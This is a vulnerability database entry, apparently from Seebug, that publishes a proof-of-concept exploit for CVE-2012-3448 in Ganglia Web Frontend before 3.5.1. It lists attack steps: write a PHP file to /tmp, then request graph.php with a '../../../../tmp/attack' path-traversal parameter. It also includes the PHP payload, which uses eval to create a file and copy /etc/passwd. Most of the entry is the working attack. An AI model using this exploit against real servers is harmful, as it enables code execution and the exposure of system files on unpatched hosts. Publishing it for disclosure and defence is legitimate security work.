Lucene search

K
seebug00r00SSV:89282
HistorySep 01, 2015 - 12:00 a.m.

Ganglia Web Frontend < 3.5.1 - PHP Code Execution

2015-09-0100:00:00
00r00
www.seebug.org
19

0.189 Low

EPSS

Percentile

96.3%

<p>1. Assuming that ganglia is installed on the target machine at this path:</p><p>/var/www/html/ganglia/</p><p>ย </p><p>2. Assuming the attacker has minimal access to the target machine andย </p><p>can write to โ€œ/tmpโ€. There are several methods where a remote attacker canย </p><p>also trigger daemons or other system processes to create files in โ€œ/tmpโ€ย </p><p>whose content is (partially) controlled by the remote attacker.ย </p><p>ย </p><p>3. The attacker puts the contents of this PoC file into the file:</p><p>/tmp/attack.php</p><p>ย </p><p>4. The attacker visits the Ganglia Web Frontend interface with version < 3.5.1ย </p><p>as:</p><p><a href=โ€œhttp://targetIP/ganglia/graph.php?g=../../../../tmp/attack&amp;metric=DUMMY&amp;title=DUMMYโ€>http://targetIP/ganglia/graph.php?g=../../../../tmp/attack&amp;metric=DUMMY&amp;title=DUMMY</a></p><p>ย </p><p>5. Confirm that the PoC created a dummy file in the /tmp folder and copiedย </p><p>/etc/passwd to /tmp.</p>


                                                <?php
/*
 
################################################################################
#
# Author    : Andrei Costin (andrei theATsign firmware theDOTsign re)
# Desc      : CVE-2012-3448 PoC
# Details   : This PoC will create a dummy file in the /tmp folder and 
#             will copy /etc/passwd to /tmp.
#             To modify the attack payload, modify the code below.\
# Setup     : Ubuntu Linux 14.04 LTS x86 with Ganglia Web Frontend 3.5.0
#
################################################################################
 
1. Assuming that ganglia is installed on the target machine at this path:
/var/www/html/ganglia/
 
2. Assuming the attacker has minimal access to the target machine and 
can write to "/tmp". There are several methods where a remote attacker can 
also trigger daemons or other system processes to create files in "/tmp" 
whose content is (partially) controlled by the remote attacker. 
 
3. The attacker puts the contents of this PoC file into the file:
/tmp/attack.php
 
4. The attacker visits the Ganglia Web Frontend interface with version < 3.5.1 
as:
http://targetIP/ganglia/graph.php?g=../../../../tmp/attack&metric=DUMMY&title=DUMMY
 
5. Confirm that the PoC created a dummy file in the /tmp folder and copied 
/etc/passwd to /tmp.
 
*/
 
eval('touch("/tmp/attacker.touch"); copy("/etc/passwd", "/tmp/attacker.passwd");');
die("Triggering CVE-2012-3448 attack.php");
 
?>